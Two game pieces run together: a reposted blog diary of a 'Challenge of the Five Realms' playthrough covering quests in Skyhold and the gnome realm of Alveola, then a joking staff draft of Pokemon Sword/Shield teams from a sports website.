I got this on a random transition between areas.

          Skyhold was a wealthier town but also reported several problems. The ineffectual mayor, Gorvas, is being challenged by Baron Wintermore. Both of them have thugs roaming the streets. Neither is dealing with a group of Dark Acolytes who keep raiding the town from the mountains. Some NPCs supported Gorvas, some Wintermore. At least one was disdainful of both, saying that “they’re both sons of Ragmar, come here to seek their success. Now their struggle for power threatens the very town they claim to love.”             

I get what I came for.

           Both Gorvas and Wintermore wanted me to assassinate the other. An NPC suggested a third solution where they could be convinced to work together, but I couldn’t find any paths that led me there. I decided that for all his weaknesses, Gorvas was the actual mayor of the town while Wintermore was attempting a coup d’état, so I killed Wintermore. But it didn’t sit well with me and I ended up reloading a few minutes later. Still thinking about the problem, I swiped a bottle of ale from a brewery and returned to Al-Bahdri without solving the issue.            

I’m not sure I like either of them.

           Back in Al-Bahdri, I laid out the meat and ale and soon caught a gnome apparating in to steal them. He claimed to be from Alveola, one of the other kingdoms of Nhagardia–finally–and he told me where to find the portal to his realm in some nearby caves.            

“I had as a child,” Chesotor says, leaving out that he was reading one of those “picture books” just a few days ago in the castle.

       Entering the caves, I was beset by lions, snakes, and ogres, and I couldn’t defeat them without losing at least one party member. I reluctantly let Beggar go and moved on.            

I wish we’d known your actual name.

           He was nearly immediately replaced when I found Sir Valakor–my mother’s old beau–living in the same caves. He wouldn’t believe I was Feya’s son until I showed her my mother’s diamond ring, which he insisted on taking. I’m glad I didn’t sell that to the pawn shop.            

My maybe-father joins the party.

         A casting of “Revisibility” made the portal appear, and we entered it to find ourselves in the underground gnome kingdom, a large map with numerous entrances to various gnome burrows. As we entered, Cagliostra appeared to offer: “[Gnomes] are known for their pessimism, grumpiness, and greed. To strengthen our spell against Grimnoth, we must change the heart of the Alveolan leader. We need to teach the Alveolans the power of charity, of giving, and we need a symbol of that change of heart.”          

Alveola and its various gnome holes. Note the gnome “artifacts” on the screen that I discuss below.

        I wasn’t sure what she meant, but I pressed forward. The big drama in Alveola is that the owner of the brewery, Kito Pona, was recently murdered after abruptly changing his will to leave everything to his son Danzo. He was killed by a poison called Nevi Root which takes a lot of time to work and makes the victim susceptible to suggestion towards the end. Danzo’s siblings, Caldo, Harpo, and Neena, suspect foul play, although most of the gnomes think that it’s too obvious to be Danzo’s doing. Caldo has taken control of the brewery and refuses to turn it over. I’ve been running around talking to everyone, searching everywhere, casting “Truth” spells on everyone, but I can’t seem to get anywhere with the mystery.          

One of Kito Pona’s children.

        Meanwhile, I met with King Armacan, and he’s not interested in turning over his crown even though–and this was quite a twist–his own father was also murdered by Grimnoth. Is this going to be true of every holder of a crown? “You have no proof you’re a king,” Armacan said after a long diatribe. “No proof this Alonia even exists. You ask for money in charity . . . I reject charity and, further, the need for charity.” I wonder if I need to retrieve my own crown as “proof” before Armacan will help me.             

Tonight, you will be visited by three spirits . . .

         Miscellaneous notes:

             While in the various areas, you can switch between a micro-level map (the screen that usually appears in my shots) and a smaller-scale map that shows the basic outline of the region. If you travel on this smaller-scale map, small, inconsequential obstacles like most fences and trees are ignored, and it’s easier to get from one place to another.

           Traveling on the mid-scale map.

          You have only 100 days to solve the quest before the plague of darkness reaches Castle Thiris, but as we’ve seen, certain locations become inaccessible a lot sooner. I’m on Day 24. I assumed the bar on the left side of the screen would get shorter as Doomsday grew nearer. Instead, it just gets darker.

There’s some graphic glitch in Alveola where every time a gnome appears on the screen, random gnome images appear all over the place, even off the exploration screen. It often makes it hard to tell who’s “real” and who’s a glitch. Fortunately, entering inventory and exiting refreshes the screen.

Every time Cagliostra appears in the mirror, a classic “witch cackling” effect precedes her even though she’s not really that kind of witch.

              This is preceded by the cacophonous cackling of an old hag.

          The game uses a variant of the “PAL” system at work in the previous Paragon titles, where NPCs with particular skills are supposed to pipe up when they see an opportunity to use them. So far, however, this has only occurred every time I enter a shop, when the NPC with the highest “Bargaining” skill suggests that he do the negotiating. No one with “Tinkering” skill has ever spoken up near a locked door, on the other hand, nor has anyone with spell skills said anything when a spell was the obvious solution to a problem. 

             A rare use of the PAL system.

          I leave you trying to solve these various quests in Alveola. While there is much I like about Challenge, including the game world and evolving plot, it is shaping up to be much more an adventure game than an RPG. In this, it shows the weaknesses of most of the developers’ previous Paragon titles. Combat is a rare punctuation rather than a regular part of life, and its outcomes are heavily based on luck rather than skill or character attributes. Spells are so limited by available reagents that you don’t want to cast any if you can avoid it.          

The party versus lions.

          Most important, character development is extremely flimsy and inconsistent. Since the beginning of the game, Chesotor has not increased at all in any of his attributes or physical skills. His “Sword” skill is the only combat skill to have increased (by 4 points) despite the fact that he’s been armed with a shield the entire game and an axe for most of it. Only his personality skills, “Leadership” has gone up 10 points but none of the others. “Bargaining” has seen a 16-point boost and “Reading” a one-point bump, and “Learn Spell” seems to go up every time I learn a new one, for 32 total points since the game began.              

These numbers have hardly budged since the beginning of the game.

            With so many NPCs in the party, everyone specializes in enough stuff that it doesn’t really matter if anybody gets better, but this does go against the core mechanics of the traditional RPG, which the old Paragon crew never seems to have understood.

        Time so far: 15 hours

source http://reposts.ciathyza.com/challenge-of-the-five-realms-walking-shadow/

[junker-town]

A Pokemon Sword/Shield draft, because we are a sports website

Photo by David McNew/Getty Images

Gotta draft ‘em all!

Pokemon. Domesticated animals trained to fight for the amusement of humans in an alt-history hellscape where children are forced from their houses in their preteens to capture and battle others under the guise of growth into adulthood. It’s perfect and we love it!

This week we will experience Pokemon Sword/Shield, the latest in the series. Being the avid sportspeople we are, and thriving on competition at the expense of others we decided to draft a six Pokemon team made entirely of Pokemon which are returning to the series. We were not allowed to draft the only returning legendary Pokemon (Mew), and were given the freedom to draft to our heart. Here is what we did.

Brittany Cheng

Lucario, 10. Hydregion, 11. Gardevoir, 20. Bewear, 21. Gengar, 30. Lapras

The moment I signed up for this, I was stressed — especially because I’ve been AWOL from the Pokemon world after Gen 4. Thankfully a mix of Silph Road message boards, Quora replies, and the kindness of a top Pokemon expert from our sister gaming website, Polygon, helped me select the best team.

I got lucky, too. If Zion Williamson is on the board, why wouldn’t I take him first?

I don’t need to defend my other picks; I know I already won the draft since my No. 1 pick made my boss react “OH FUCK YOU.”

Graham: Honestly I’m not sure that spending your first pick in the draft deliberately spiting your boss is a good career choice.

James: I’d burn you, but I’ve never seen someone so stressed out about the basic concept of drafting Pokemon. Sorry to break the fourth wall for our readers, but you were definitely wracked with anxiety every time your pick came back up. I don’t want you to endure that pain so I love your draft. Good picks. Zero problems.

Christian: Would eat: Lapras. Wouldn’t eat: everyone else.

Matt: Gardevoir is definitely on Tik Tok so I’m upset to miss it for my team of social media All-Stars. Also shouts to Britt for drafting Graham’s favorite Pokemon No. 1 and sending this draft in chaos mode from the get-go.

Graham MacAree

2. Aegislash, 9. Toxapex, 12. Charizard, 19. Ferrothorn, 22. Togekiss, 29. Weaville

Aegislash gives a strong counter to Lucario at 1.1 and can sweep with Swords Dance while using King’s Shield to disrupt any physical attackers taken later. The rest of the Pokemon were taken with roles plus type composition in mind, with something of an eye towards specific checks:

Toxapex can deal with James’ Tyranitar, Scald physical attackers and sit as a very difficult defensive barrier.

Charizard gives some versatility with its different mega-evolution forms and wide moveset, but will mostly be used as a drought-powered special wallbreaker.

Ferrothorn is another answer to Tyranitar plus can set Stealth Rock and stall with Leech Seed/protect.

Togekiss running Defog is not an ideal hazard clearer but the available Pokemon who can use Defog or Rapid Spin is astonishingly low. Can also help with team status and go for flinch locks.

Weaville is here as a fast revenge killer, if necessary, and gives some type coverage we were missing with Pursuit.

Aegislash can do most of the hard work and, given the Pokemon available, I think the rest of the team balances and supports it well enough. I’m a little worried about that Gengar on Britt’s team, though, and there’s also no clean way to bring in Pokemon through pivot moves. Prediction and smart play, as always will be key.

James: Nerd.

Britt: Nerd.

Christian: Would eat: Charizard, Togekiss. Wouldn’t eat: everyone else.

Matt: Charizard is the only real Pokemon on this list in my opinion. Also, nerd.

James Dator

3. Tyranitar, 8. Wishiwashi, 13. Mimikyu, 18. Drampa, 23. Sawk, 28. Vikavolt

I’m not going to sit here and tell you my team is perfect. I’m not going to tell you they’re a top-tier team of killers and world-ruiners, but I will say that they make me happy. In the end that’s all that matters.

Tyranitar is my beefy thick boy to hold down the fort, while also offering that excellent rock/dark type to get me through some early fights. Mimikyu is my sad pokemon, which is personally important to me, considering my natural proclivity for Psyduck.

Wishiwashi is the pick I know people will criticize, but he’s my Rudy, my Hail Mary. I really like the Pokemon who go from zero-to-hero like watching an episode of Queer Eye, but with Wishiwashi it’ll hit school form and become a murderer in one battle — not like waiting on a sad-ass Magikarp to get its act together.

Britt: I offered to trade you Bewear for Wishiwashi, so you deserve all the burns you get.

Christian: I bet I could eat all these Pokemen. Maybe not Vikavolt.

Matt: Tyranitar is def a bully who gets likes on IG because people are afraid of it, so I’m upset to not have it on my socia media team. Also Wishiwashi is a hilarious name. Proud of it.

Christian D’Andrea

4. Mamoswine, 7. Mudsdale, 14. Unfezant, 17. Pelipper, 24. Vanilluxe , 27. Wobbuffet

I have never played Pokemon, but we needed a fifth for the draft. My picks were solely based on how much I’d like to eat each of these characters. With a bottom-two pick, I invested solely in winning the “most delicious” crown.

Mamoswine: Half pig, half mammoth. You remember the opening credits for the Flintstones? This is where those car-destroying ribs came from.

Mudsdale: I could only find one cow-looking Pokemon (Tauros), and he wasn’t eligible for selection. I’m gonna have to settle for horse steaks instead. And since this thing is half Clydesdale, I’m gonna have a ton of them.

Unfezant: The most spatchcockable Pokemon on the board. Can’t believe he lasted to the third round. Plus you can save all that unfezant fat and fry potatoes in them afterward.

Pelipper: I kinda choked on this one. I thought this was a giant, fat, belligerent chicken, like Foghorn Leghorn (delicious). Instead it’s a pelican. I bet I could still eat it!

Vanilluxe: It’s literally ice cream. Most obvious pick of the day.

Wobbuffet: BUFFET IS RIGHT THERE IN THE NAME

What’re you guys gonna do when your Pokemen fall in battle? Bury them solemnly? Pretend like nothing happened?

I’m gonna eat like a goddamn king.

Britt: I told you to draft Oddish for a balanced diet. Better check your arteries and cholesterol.

Christian: The idea of eating a radish is by far the most unrealistic thing to happen in this draft.

Matt: Why are we eating Pokemon again? I’m concerned and I think I have to call the police? Actually, you can eat Wobbuffet.

Matt Ellentuck

5. Milotic, 6. Gyrados, 15. Machamp, 16. Ninetails, 25. Snorlax, 26, Ludicolo

I had very important criteria for my picks. I selected the six who I felt would make the strongest social media team, and I’ll explain why.

My first two picks were Milotic and Gyrados because they are both hot sea monsters. That means they’ll get a lot of likes on IG. Then I picked Machamp because it’d make a dope fitness account, and Ninetails because it definitely wears designer clothes for the ‘Gram. Snorlax is, without a doubt, a depressed meme poster. And Ludicolo def gets WILD on main. He’ll get a lot of “SIR” reply tweets, but hey, engagement is engagement.

That’s a damn squad right there.

Graham: While drafting entirely for Pokemon hotness is a fun goof it also raises some concerns about ... well, a lot of things.

James: While drafting entirely for Pokemon hotness is a fun goof it also raises my opinion and value of you as both a coworker and a person. Live your truth.

Graham: Yeah, James is right. No* judgement.

Christian: I don’t want to eat any of these sexy Pokemen.

Britt: Matt, you’re on cancellation watch.